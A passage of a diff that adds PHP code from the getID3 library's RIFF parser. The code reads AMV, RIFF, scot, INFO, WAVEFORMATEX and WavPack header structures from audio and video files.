$RIFFchunk['amvh']['resolution_y'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 48, 4)); + $RIFFchunk['amvh']['frame_rate_int'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 52, 4)); + $RIFFchunk['amvh']['reserved0'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 56, 4)); // 1? reserved? + $RIFFchunk['amvh']['reserved1'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 60, 4)); // 0? reserved? + $RIFFchunk['amvh']['runtime_sec'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 64, 1)); + $RIFFchunk['amvh']['runtime_min'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 65, 1)); + $RIFFchunk['amvh']['runtime_hrs'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 66, 2)); + + $info['video']['frame_rate'] = 1000000 / $RIFFchunk['amvh']['us_per_frame']; + $info['video']['resolution_x'] = $RIFFchunk['amvh']['resolution_x']; + $info['video']['resolution_y'] = $RIFFchunk['amvh']['resolution_y']; + $info['playtime_seconds'] = ($RIFFchunk['amvh']['runtime_hrs'] * 3600) + ($RIFFchunk['amvh']['runtime_min'] * 60) + $RIFFchunk['amvh']['runtime_sec']; + + // the rest is all hardcoded(?) and does not appear to be useful until you get to audio info at offset 256, even then everything is probably hardcoded + + if (substr($AMVheader, 68, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x38\x00\x00\x00") { + throw new Exception('expecting "LIST<0x00000000>strlstrh<0x38000000>" at offset '.($startoffset + 68).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 68, 20)).'"'); + } + // followed by 56 bytes of null: substr($AMVheader, 88, 56) -> 144 + if (substr($AMVheader, 144, 8) != 'strf'."\x24\x00\x00\x00") { + throw new Exception('expecting "strf<0x24000000>" at offset '.($startoffset + 144).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 144, 8)).'"'); + } + // followed by 36 bytes of null: substr($AMVheader, 144, 36) -> 180 + + if (substr($AMVheader, 188, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x30\x00\x00\x00") { + throw new Exception('expecting "LIST<0x00000000>strlstrh<0x30000000>" at offset '.($startoffset + 188).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 188, 20)).'"'); + } + // followed by 48 bytes of null: substr($AMVheader, 208, 48) -> 256 + if (substr($AMVheader, 256, 8) != 'strf'."\x14\x00\x00\x00") { + throw new Exception('expecting "strf<0x14000000>" at offset '.($startoffset + 256).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 256, 8)).'"'); + } + // followed by 20 bytes of a modified WAVEFORMATEX: + // typedef struct { + // WORD wFormatTag; //(Fixme: this is equal to PCM's 0x01 format code) + // WORD nChannels; //(Fixme: this is always 1) + // DWORD nSamplesPerSec; //(Fixme: for all known sample files this is equal to 22050) + // DWORD nAvgBytesPerSec; //(Fixme: for all known sample files this is equal to 44100) + // WORD nBlockAlign; //(Fixme: this seems to be 2 in AMV files, is this correct ?) + // WORD wBitsPerSample; //(Fixme: this seems to be 16 in AMV files instead of the expected 4) + // WORD cbSize; //(Fixme: this seems to be 0 in AMV files) + // WORD reserved; + // } WAVEFORMATEX; + $RIFFchunk['strf']['wformattag'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 264, 2)); + $RIFFchunk['strf']['nchannels'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 266, 2)); + $RIFFchunk['strf']['nsamplespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 268, 4)); + $RIFFchunk['strf']['navgbytespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 272, 4)); + $RIFFchunk['strf']['nblockalign'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 276, 2)); + $RIFFchunk['strf']['wbitspersample'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 278, 2)); + $RIFFchunk['strf']['cbsize'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 280, 2)); + $RIFFchunk['strf']['reserved'] = getid3_lib::LittleEndian2Int(substr($AMVheader, 282, 2)); + + + $info['audio']['lossless'] = false; + $info['audio']['sample_rate'] = $RIFFchunk['strf']['nsamplespersec']; + $info['audio']['channels'] = $RIFFchunk['strf']['nchannels']; + $info['audio']['bits_per_sample'] = $RIFFchunk['strf']['wbitspersample']; + $info['audio']['bitrate'] = $info['audio']['sample_rate'] * $info['audio']['channels'] * $info['audio']['bits_per_sample']; + $info['audio']['bitrate_mode'] = 'cbr'; + + + } catch (getid3_exception $e) { + if ($e->getCode() == 10) { + $this->warning('RIFFAMV parser: '.$e->getMessage()); + } else { + throw $e; + } + } + + return $RIFFchunk; + } + + /** + * @param int $startoffset + * @param int $maxoffset + * + * @return array|false + * @throws getid3_exception + */ + public function ParseRIFF($startoffset, $maxoffset) { + $info = &$this->getid3->info; + + $RIFFchunk = false; + $FoundAllChunksWeNeed = false; + $LISTchunkParent = null; + $LISTchunkMaxOffset = null; + $AC3syncwordBytes = pack('n', getid3_ac3::syncword); // 0x0B77 -> "\x0B\x77" + + try { + $this->fseek($startoffset); + $maxoffset = min($maxoffset, $info['avdataend']); + while ($this->ftell() < $maxoffset) { + $chunknamesize = $this->fread(8); + //$chunkname = substr($chunknamesize, 0, 4); + $chunkname = str_replace("\x00", '_', substr($chunknamesize, 0, 4)); // note: chunk names of 4 null bytes do appear to be legal (has been observed inside INFO and PRMI chunks, for example), but makes traversing array keys more difficult + $chunksize = $this->EitherEndian2Int(substr($chunknamesize, 4, 4)); + //if (strlen(trim($chunkname, "\x00")) < 4) { + if (strlen($chunkname) < 4) { + $this->error('Expecting chunk name at offset '.($this->ftell() - 8).' but found nothing. Aborting RIFF parsing.'); + break; + } + if (($chunksize == 0) && ($chunkname != 'JUNK')) { + $this->warning('Chunk ('.$chunkname.') size at offset '.($this->ftell() - 4).' is zero. Aborting RIFF parsing.'); + break; + } + if (($chunksize % 2) != 0) { + // all structures are packed on word boundaries + $chunksize++; + } + + switch ($chunkname) { + case 'LIST': + $listname = $this->fread(4); + if (preg_match('#^(movi|rec )$#i', $listname)) { + $RIFFchunk[$listname]['offset'] = $this->ftell() - 4; + $RIFFchunk[$listname]['size'] = $chunksize; + + if (!$FoundAllChunksWeNeed) { + $WhereWeWere = $this->ftell(); + $AudioChunkHeader = $this->fread(12); + $AudioChunkStreamNum = substr($AudioChunkHeader, 0, 2); + $AudioChunkStreamType = substr($AudioChunkHeader, 2, 2); + $AudioChunkSize = getid3_lib::LittleEndian2Int(substr($AudioChunkHeader, 4, 4)); + + if ($AudioChunkStreamType == 'wb') { + $FirstFourBytes = substr($AudioChunkHeader, 8, 4); + if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', $FirstFourBytes)) { + // MP3 + if (getid3_mp3::MPEGaudioHeaderBytesValid($FirstFourBytes)) { + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_temp->info['avdataoffset'] = $this->ftell() - 4; + $getid3_temp->info['avdataend'] = $this->ftell() + $AudioChunkSize; + $getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__); + $getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false); + if (isset($getid3_temp->info['mpeg']['audio'])) { + $info['mpeg']['audio'] = $getid3_temp->info['mpeg']['audio']; + $info['audio'] = $getid3_temp->info['audio']; + $info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer']; + $info['audio']['sample_rate'] = $info['mpeg']['audio']['sample_rate']; + $info['audio']['channels'] = $info['mpeg']['audio']['channels']; + $info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate']; + $info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']); + //$info['bitrate'] = $info['audio']['bitrate']; + } + unset($getid3_temp, $getid3_mp3); + } + + } elseif (strpos($FirstFourBytes, $AC3syncwordBytes) === 0) { + // AC3 + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_temp->info['avdataoffset'] = $this->ftell() - 4; + $getid3_temp->info['avdataend'] = $this->ftell() + $AudioChunkSize; + $getid3_ac3 = new getid3_ac3($getid3_temp); + $getid3_ac3->Analyze(); + if (empty($getid3_temp->info['error'])) { + $info['audio'] = $getid3_temp->info['audio']; + $info['ac3'] = $getid3_temp->info['ac3']; + if (!empty($getid3_temp->info['warning'])) { + foreach ($getid3_temp->info['warning'] as $key => $value) { + $this->warning($value); + } + } + } + unset($getid3_temp, $getid3_ac3); + } + } + $FoundAllChunksWeNeed = true; + $this->fseek($WhereWeWere); + } + $this->fseek($chunksize - 4, SEEK_CUR); + + } else { + + if (!isset($RIFFchunk[$listname])) { + $RIFFchunk[$listname] = array(); + } + $LISTchunkParent = $listname; + $LISTchunkMaxOffset = $this->ftell() - 4 + $chunksize; + if ($parsedChunk = $this->ParseRIFF($this->ftell(), $LISTchunkMaxOffset)) { + $RIFFchunk[$listname] = array_merge_recursive($RIFFchunk[$listname], $parsedChunk); + } + + } + break; + + default: + if (preg_match('#^[0-9]{2}(wb|pc|dc|db)$#', $chunkname)) { + $this->fseek($chunksize, SEEK_CUR); + break; + } + $thisindex = 0; + if (isset($RIFFchunk[$chunkname]) && is_array($RIFFchunk[$chunkname])) { + $thisindex = count($RIFFchunk[$chunkname]); + } + $RIFFchunk[$chunkname][$thisindex]['offset'] = $this->ftell() - 8; + $RIFFchunk[$chunkname][$thisindex]['size'] = $chunksize; + switch ($chunkname) { + case 'data': + $info['avdataoffset'] = $this->ftell(); + $info['avdataend'] = $info['avdataoffset'] + $chunksize; + + $testData = $this->fread(36); + if ($testData === '') { + break; + } + if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', substr($testData, 0, 4))) { + + // Probably is MP3 data + if (getid3_mp3::MPEGaudioHeaderBytesValid(substr($testData, 0, 4))) { + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; + $getid3_temp->info['avdataend'] = $info['avdataend']; + $getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__); + $getid3_mp3->getOnlyMPEGaudioInfo($info['avdataoffset'], false); + if (empty($getid3_temp->info['error'])) { + $info['audio'] = $getid3_temp->info['audio']; + $info['mpeg'] = $getid3_temp->info['mpeg']; + } + unset($getid3_temp, $getid3_mp3); + } + + } elseif (($isRegularAC3 = (substr($testData, 0, 2) == $AC3syncwordBytes)) || substr($testData, 8, 2) == strrev($AC3syncwordBytes)) { + + // This is probably AC-3 data + $getid3_temp = new getID3(); + if ($isRegularAC3) { + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; + $getid3_temp->info['avdataend'] = $info['avdataend']; + } + $getid3_ac3 = new getid3_ac3($getid3_temp); + if ($isRegularAC3) { + $getid3_ac3->Analyze(); + } else { + // Dolby Digital WAV + // AC-3 content, but not encoded in same format as normal AC-3 file + // For one thing, byte order is swapped + $ac3_data = ''; + for ($i = 0; $i < 28; $i += 2) { + $ac3_data .= substr($testData, 8 + $i + 1, 1); + $ac3_data .= substr($testData, 8 + $i + 0, 1); + } + $getid3_ac3->getid3->info['avdataoffset'] = 0; + $getid3_ac3->getid3->info['avdataend'] = strlen($ac3_data); + $getid3_ac3->AnalyzeString($ac3_data); + } + + if (empty($getid3_temp->info['error'])) { + $info['audio'] = $getid3_temp->info['audio']; + $info['ac3'] = $getid3_temp->info['ac3']; + if (!empty($getid3_temp->info['warning'])) { + foreach ($getid3_temp->info['warning'] as $newerror) { + $this->warning('getid3_ac3() says: ['.$newerror.']'); + } + } + } + unset($getid3_temp, $getid3_ac3); + + } elseif (preg_match('/^('.implode('|', array_map('preg_quote', getid3_dts::$syncwords)).')/', $testData)) { + + // This is probably DTS data + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; + $getid3_dts = new getid3_dts($getid3_temp); + $getid3_dts->Analyze(); + if (empty($getid3_temp->info['error'])) { + $info['audio'] = $getid3_temp->info['audio']; + $info['dts'] = $getid3_temp->info['dts']; + $info['playtime_seconds'] = $getid3_temp->info['playtime_seconds']; // may not match RIFF calculations since DTS-WAV often used 14/16 bit-word packing + if (!empty($getid3_temp->info['warning'])) { + foreach ($getid3_temp->info['warning'] as $newerror) { + $this->warning('getid3_dts() says: ['.$newerror.']'); + } + } + } + + unset($getid3_temp, $getid3_dts); + + } elseif (substr($testData, 0, 4) == 'wvpk') { + + // This is WavPack data + $info['wavpack']['offset'] = $info['avdataoffset']; + $info['wavpack']['size'] = getid3_lib::LittleEndian2Int(substr($testData, 4, 4)); + $this->parseWavPackHeader(substr($testData, 8, 28)); + + } else { + // This is some other kind of data (quite possibly just PCM) + // do nothing special, just skip it + } + $nextoffset = $info['avdataend']; + $this->fseek($nextoffset); + break; + + case 'iXML': + case 'bext': + case 'cart': + case 'fmt ': + case 'strh': + case 'strf': + case 'indx': + case 'MEXT': + case 'DISP': + case 'wamd': + case 'guan': + // always read data in + case 'JUNK': + // should be: never read data in + // but some programs write their version strings in a JUNK chunk (e.g. VirtualDub, AVIdemux, etc) + if ($chunksize < 1048576) { + if ($chunksize > 0) { + $RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize); + if ($chunkname == 'JUNK') { + if (preg_match('#^([\\x20-\\x7F]+)#', $RIFFchunk[$chunkname][$thisindex]['data'], $matches)) { + // only keep text characters [chr(32)-chr(127)] + $info['riff']['comments']['junk'][] = trim($matches[1]); + } + // but if nothing there, ignore + // remove the key in either case + unset($RIFFchunk[$chunkname][$thisindex]['data']); + } + } + } else { + $this->warning('Chunk "'.$chunkname.'" at offset '.$this->ftell().' is unexpectedly larger than 1MB (claims to be '.number_format($chunksize).' bytes), skipping data'); + $this->fseek($chunksize, SEEK_CUR); + } + break; + + //case 'IDVX': + // $info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunksize)); + // break; + + case 'scot': + // https://cmsdk.com/node-js/adding-scot-chunk-to-wav-file.html + $RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize); + $RIFFchunk[$chunkname][$thisindex]['parsed']['alter'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 0, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['attrib'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 1, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['artnum'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 2, 2)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['title'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 4, 43); // "name" in other documentation + $RIFFchunk[$chunkname][$thisindex]['parsed']['copy'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 47, 4); + $RIFFchunk[$chunkname][$thisindex]['parsed']['padd'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 51, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['asclen'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 52, 5); + $RIFFchunk[$chunkname][$thisindex]['parsed']['startseconds'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 57, 2)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['starthundredths'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 59, 2)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['endseconds'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 61, 2)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['endhundreths'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 63, 2)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['sdate'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 65, 6); + $RIFFchunk[$chunkname][$thisindex]['parsed']['kdate'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 71, 6); + $RIFFchunk[$chunkname][$thisindex]['parsed']['start_hr'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 77, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['kill_hr'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 78, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['digital'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 79, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 80, 2)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['stereo'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 82, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['compress'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 83, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['eomstrt'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 84, 4)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['eomlen'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 88, 2)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['attrib2'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 90, 4)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['future1'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 94, 12); + $RIFFchunk[$chunkname][$thisindex]['parsed']['catfontcolor'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 106, 4)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['catcolor'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 110, 4)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['segeompos'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 114, 4)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['vt_startsecs'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 118, 2)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['vt_starthunds'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 120, 2)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['priorcat'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 122, 3); + $RIFFchunk[$chunkname][$thisindex]['parsed']['priorcopy'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 125, 4); + $RIFFchunk[$chunkname][$thisindex]['parsed']['priorpadd'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 129, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['postcat'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 130, 3); + $RIFFchunk[$chunkname][$thisindex]['parsed']['postcopy'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 133, 4); + $RIFFchunk[$chunkname][$thisindex]['parsed']['postpadd'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 137, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['hrcanplay'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 138, 21); + $RIFFchunk[$chunkname][$thisindex]['parsed']['future2'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 159, 108); + $RIFFchunk[$chunkname][$thisindex]['parsed']['artist'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 267, 34); + $RIFFchunk[$chunkname][$thisindex]['parsed']['comment'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 301, 34); // "trivia" in other documentation + $RIFFchunk[$chunkname][$thisindex]['parsed']['intro'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 335, 2); + $RIFFchunk[$chunkname][$thisindex]['parsed']['end'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 337, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['year'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 338, 4); + $RIFFchunk[$chunkname][$thisindex]['parsed']['obsolete2'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 342, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['rec_hr'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 343, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['rdate'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 344, 6); + $RIFFchunk[$chunkname][$thisindex]['parsed']['mpeg_bitrate'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 350, 2)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['pitch'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 352, 2)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['playlevel'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 354, 2)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['lenvalid'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 356, 1); + $RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 357, 4)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['newplaylevel'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 361, 2)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['chopsize'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 363, 4)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['vteomovr'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 367, 4)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['desiredlen'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 371, 4)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['triggers'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 375, 4)); + $RIFFchunk[$chunkname][$thisindex]['parsed']['fillout'] = substr($RIFFchunk[$chunkname][$thisindex]['data'], 379, 33); + + foreach (array('title', 'artist', 'comment') as $key) { + if (trim($RIFFchunk[$chunkname][$thisindex]['parsed'][$key])) { + $info['riff']['comments'][$key] = array($RIFFchunk[$chunkname][$thisindex]['parsed'][$key]); + } + } + if ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] && !empty($info['filesize']) && ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] != $info['filesize'])) { + $this->warning('RIFF.WAVE.scot.filelength ('.$RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'].') different from actual filesize ('.$info['filesize'].')'); + } + break; + + default: + if (!empty($LISTchunkParent) && isset($LISTchunkMaxOffset) && (($RIFFchunk[$chunkname][$thisindex]['offset'] + $RIFFchunk[$chunkname][$thisindex]['size']) <= $LISTchunkMaxOffset)) { + $RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['offset'] = $RIFFchunk[$chunkname][$thisindex]['offset']; + $RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['size'] = $RIFFchunk[$chunkname][$thisindex]['size']; + unset($RIFFchunk[$chunkname][$thisindex]['offset']); + unset($RIFFchunk[$chunkname][$thisindex]['size']); + if (isset($RIFFchunk[$chunkname][$thisindex]) && empty($RIFFchunk[$chunkname][$thisindex])) { + unset($RIFFchunk[$chunkname][$thisindex]); + } + if (isset($RIFFchunk[$chunkname]) && empty($RIFFchunk[$chunkname])) { + unset($RIFFchunk[$chunkname]); + } + $RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['data'] = $this->fread($chunksize); + } elseif ($chunksize < 2048) { + // only read data in if smaller than 2kB + $RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize); + } else { + $this->fseek($chunksize, SEEK_CUR); + } + break; + } + break; + } + } + + } catch (getid3_exception $e) { + if ($e->getCode() == 10) { + $this->warning('RIFF parser: '.$e->getMessage()); + } else { + throw $e; + } + } + + return $RIFFchunk; + } + + /** + * @param string $RIFFdata + * + * @return bool + */ + public function ParseRIFFdata(&$RIFFdata) { + $info = &$this->getid3->info; + if ($RIFFdata) { + $tempfile = tempnam(GETID3_TEMP_DIR, 'getID3'); + $fp_temp = fopen($tempfile, 'wb'); + $RIFFdataLength = strlen($RIFFdata); + $NewLengthString = getid3_lib::LittleEndian2String($RIFFdataLength, 4); + for ($i = 0; $i < 4; $i++) { + $RIFFdata[($i + 4)] = $NewLengthString[$i]; + } + fwrite($fp_temp, $RIFFdata); + fclose($fp_temp); + + $getid3_temp = new getID3(); + $getid3_temp->openfile($tempfile); + $getid3_temp->info['filesize'] = $RIFFdataLength; + $getid3_temp->info['filenamepath'] = $info['filenamepath']; + $getid3_temp->info['tags'] = $info['tags']; + $getid3_temp->info['warning'] = $info['warning']; + $getid3_temp->info['error'] = $info['error']; + $getid3_temp->info['comments'] = $info['comments']; + $getid3_temp->info['audio'] = (isset($info['audio']) ? $info['audio'] : array()); + $getid3_temp->info['video'] = (isset($info['video']) ? $info['video'] : array()); + $getid3_riff = new getid3_riff($getid3_temp); + $getid3_riff->Analyze(); + + $info['riff'] = $getid3_temp->info['riff']; + $info['warning'] = $getid3_temp->info['warning']; + $info['error'] = $getid3_temp->info['error']; + $info['tags'] = $getid3_temp->info['tags']; + $info['comments'] = $getid3_temp->info['comments']; + unset($getid3_riff, $getid3_temp); + unlink($tempfile); + } + return false; + } + + /** + * @param array $RIFFinfoArray + * @param array $CommentsTargetArray + * + * @return bool + */ + public static function parseComments(&$RIFFinfoArray, &$CommentsTargetArray) { + $RIFFinfoKeyLookup = array( + 'IARL'=>'archivallocation', + 'IART'=>'artist', + 'ICDS'=>'costumedesigner', + 'ICMS'=>'commissionedby', + 'ICMT'=>'comment', + 'ICNT'=>'country', + 'ICOP'=>'copyright', + 'ICRD'=>'creationdate', + 'IDIM'=>'dimensions', + 'IDIT'=>'digitizationdate', + 'IDPI'=>'resolution', + 'IDST'=>'distributor', + 'IEDT'=>'editor', + 'IENG'=>'engineers', + 'IFRM'=>'accountofparts', + 'IGNR'=>'genre', + 'IKEY'=>'keywords', + 'ILGT'=>'lightness', + 'ILNG'=>'language', + 'IMED'=>'orignalmedium', + 'IMUS'=>'composer', + 'INAM'=>'title', + 'IPDS'=>'productiondesigner', + 'IPLT'=>'palette', + 'IPRD'=>'product', + 'IPRO'=>'producer', + 'IPRT'=>'part', + 'IRTD'=>'rating', + 'ISBJ'=>'subject', + 'ISFT'=>'software', + 'ISGN'=>'secondarygenre', + 'ISHP'=>'sharpness', + 'ISRC'=>'sourcesupplier', + 'ISRF'=>'digitizationsource', + 'ISTD'=>'productionstudio', + 'ISTR'=>'starring', + 'ITCH'=>'encoded_by', + 'IWEB'=>'url', + 'IWRI'=>'writer', + '____'=>'comment', + ); + foreach ($RIFFinfoKeyLookup as $key => $value) { + if (isset($RIFFinfoArray[$key])) { + foreach ($RIFFinfoArray[$key] as $commentid => $commentdata) { + if (trim($commentdata['data']) != '') { + if (isset($CommentsTargetArray[$value])) { + $CommentsTargetArray[$value][] = trim($commentdata['data']); + } else { + $CommentsTargetArray[$value] = array(trim($commentdata['data'])); + } + } + } + } + } + return true; + } + + /** + * @param string $WaveFormatExData + * + * @return array + */ + public static function parseWAVEFORMATex($WaveFormatExData) { + // shortcut + $WaveFormatEx = array(); + $WaveFormatEx['raw'] = array(); + $WaveFormatEx_raw = &$WaveFormatEx['raw']; + + $WaveFormatEx_raw['wFormatTag'] = substr($WaveFormatExData, 0, 2); + $WaveFormatEx_raw['nChannels'] = substr($WaveFormatExData, 2, 2); + $WaveFormatEx_raw['nSamplesPerSec'] = substr($WaveFormatExData, 4, 4); + $WaveFormatEx_raw['nAvgBytesPerSec'] = substr($WaveFormatExData, 8, 4); + $WaveFormatEx_raw['nBlockAlign'] = substr($WaveFormatExData, 12, 2); + $WaveFormatEx_raw['wBitsPerSample'] = substr($WaveFormatExData, 14, 2); + if (strlen($WaveFormatExData) > 16) { + $WaveFormatEx_raw['cbSize'] = substr($WaveFormatExData, 16, 2); + } + $WaveFormatEx_raw = array_map('getid3_lib::LittleEndian2Int', $WaveFormatEx_raw); + + $WaveFormatEx['codec'] = self::wFormatTagLookup($WaveFormatEx_raw['wFormatTag']); + $WaveFormatEx['channels'] = $WaveFormatEx_raw['nChannels']; + $WaveFormatEx['sample_rate'] = $WaveFormatEx_raw['nSamplesPerSec']; + $WaveFormatEx['bitrate'] = $WaveFormatEx_raw['nAvgBytesPerSec'] * 8; + $WaveFormatEx['bits_per_sample'] = $WaveFormatEx_raw['wBitsPerSample']; + + return $WaveFormatEx; + } + + /** + * @param string $WavPackChunkData + * + * @return bool + */ + public function parseWavPackHeader($WavPackChunkData) { + // typedef struct { + // char ckID [4]; + // long ckSize; + // short version; + // short bits; // added for version 2.00 + // short flags, shift; // added for version 3.00 + // long total_samples, crc, crc2; + // char extension [4], extra_bc, extras [3]; + // } WavpackHeader; + + // shortcut + $info = &$this->getid3->info; + $info['wavpack'] = array(); + $thisfile_wavpack = &$info['wavpack']; + + 